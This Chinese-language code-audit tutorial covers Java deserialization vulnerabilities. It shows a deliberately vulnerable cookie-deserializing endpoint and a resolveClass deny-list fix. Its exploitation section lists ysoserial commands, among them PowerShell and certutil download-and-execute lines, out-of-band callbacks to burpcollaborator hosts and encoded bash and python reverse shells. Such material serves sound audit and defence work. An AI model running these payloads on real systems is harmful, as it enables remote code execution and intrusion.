JAVA代碼審計之java反序列化 - 網安 - 專業的網絡安全產業、社區、知識平臺

漏洞原理

Serialization(序列化)：將java對象以一連串的字節保存在磁盤文件中的過程，也可以說是保存java對象狀態的過程。

deserialization(反序列化)：將保存在磁盤文件中的java字節碼重新轉換成java對象稱為反序列化。

Java程序使用ObjectInputStream對象的readObject方法將反序列化數據轉換為java對象。但當輸入的反序列化的數據可被用戶控制，那么攻擊者即可通過構造惡意輸入，讓反序列化產生非預期的對象，在此過程中執行構造的任意代碼。

漏洞代碼示例

......//讀取輸入流,并轉換對象InputStream in=request.getInputStream();ObjectInputStream ois = new ObjectInputStream(in);//恢復對象ois.readObject();ois.close();
Java程序使用ObjectInputStream對象的readObject方法將反序 列化數據轉換為java對象。但當輸入的反序列化的數據可被用戶控 制，那么攻擊者即可通過構造惡意輸入，讓反序列化產生非預期的 對象，在此過程中執行構造的任意代碼。

核心代碼：

/** * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 * Add the result to rememberMe cookie. * <p> * http://localhost:8080/deserialize/rememberMe/vuln */@RequestMapping("/rememberMe/vuln")public String rememberMeVul(HttpServletRequest request)        throws IOException, ClassNotFoundException {
    Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
    if (null == cookie) {        return "No rememberMe cookie. Right?";    }
    String rememberMe = cookie.getValue();    byte[] decoded = Base64.getDecoder().decode(rememberMe);
    ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);    ObjectInputStream in = new ObjectInputStream(bytes);    in.readObject();    in.close();
    return "Are u ok?";}
代碼相對來說也比較簡單使用Java程序中類ObjectInputStream的 readObject方法被用來將數據流反序列化為對象，如果流中的對象 是class，則它的ObjectStreamClass描述符會被讀取，并返回相應 的class對象，ObjectStreamClass包含了類的名稱及 serialVersionUID。

利用方式

使用ysoserial.jar生成payload

jjava -jar ysoserial.jar CommonsCollections5 "cmd /c calc" | base64 -w0  rememberMe=rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMam...

訪問頁面：http://127.0.0.1:8080/deserialize/rememberMe/vuln

ysoserial.jar是java反序列化工具集。

下載地址：https://github.com/angelwhu/ysoserial

ysoserial使用poc文檔：

https://book.hacktricks.xyz/pentesting-web/deserialization#java-http

# PoC to make the application perform a DNS reqjava -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows# Pingjava -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload# Time, I noticed the response too longer when this was usedjava -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload# Create Filejava -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload# DNS requestjava -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"# HTTP request (+DNS)java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0# Reverse Shell## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux# Pingjava -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload # Time## Using time in bash I didn't notice any difference in the timing of the response# Create filejava -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload# DNS requestjava -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"# HTTP request (+DNS)java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payloadjava -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"# Reverse shell## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64base64 -w0 payload

修復方式

修復方式是通過Hook resolveClass來校驗反序列化的類。

序列化數據結構可以了解到包含了類的名稱及serialVersionUID 的ObjectStreamClass描述符在序列化對象流的前面位置，且在 readObject反序列化時首先會調用resolveClass讀取反序列化的類名，所以這里通過重寫ObjectInputStream對象的 resolveClass方法即可實現對反序列化類的校驗。這個方法最早是由IBM的研究人員Pierre Ernst在2013年提出《Look-ahead Java deserialization》

修復代碼

/** * Check deserialize class using black list. * <p> * http://localhost:8080/deserialize/rememberMe/security */@RequestMapping("/rememberMe/security")public String rememberMeBlackClassCheck(HttpServletRequest request)        throws IOException, ClassNotFoundException {
    Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
    if (null == cookie) {        return "No rememberMe cookie. Right?";    }    String rememberMe = cookie.getValue();    byte[] decoded = Base64.getDecoder().decode(rememberMe);
    ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
    try {        AntObjectInputStream in = new AntObjectInputStream(bytes);  // throw InvalidClassException        in.readObject();        in.close();    } catch (InvalidClassException e) {        logger.info(e.toString());        return e.toString();    }
    return "I'm very OK.";}

跟入后對應代碼

/** * 只允許反序列化SerialObject class * * 在應用上使用黑白名單校驗方案比較局限，因為只有使用自己定義的AntObjectInputStream類，進行反序列化才能進行校驗。 * 類似fastjson通用類的反序列化就不能校驗。 * 但是RASP是通過HOOK java/io/ObjectInputStream類的resolveClass方法，全局的檢測白名單。 * */@Overrideprotected Class<?> resolveClass(final ObjectStreamClass desc)        throws IOException, ClassNotFoundException{    String className = desc.getName();
    // Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject    logger.info("Deserialize class name: " + className);
    String[] denyClasses = {"java.net.InetAddress",                            "org.apache.commons.collections.Transformer",                            "org.apache.commons.collections.functors"};
    for (String denyClass : denyClasses) {        if (className.startsWith(denyClass)) {            throw new InvalidClassException("Unauthorized deserialization attempt", className);        }    }
    return super.resolveClass(desc);}